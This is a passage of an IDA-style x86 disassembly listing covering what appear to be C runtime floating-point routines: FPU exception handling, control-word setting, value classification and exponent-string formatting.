		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26D04BFh
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
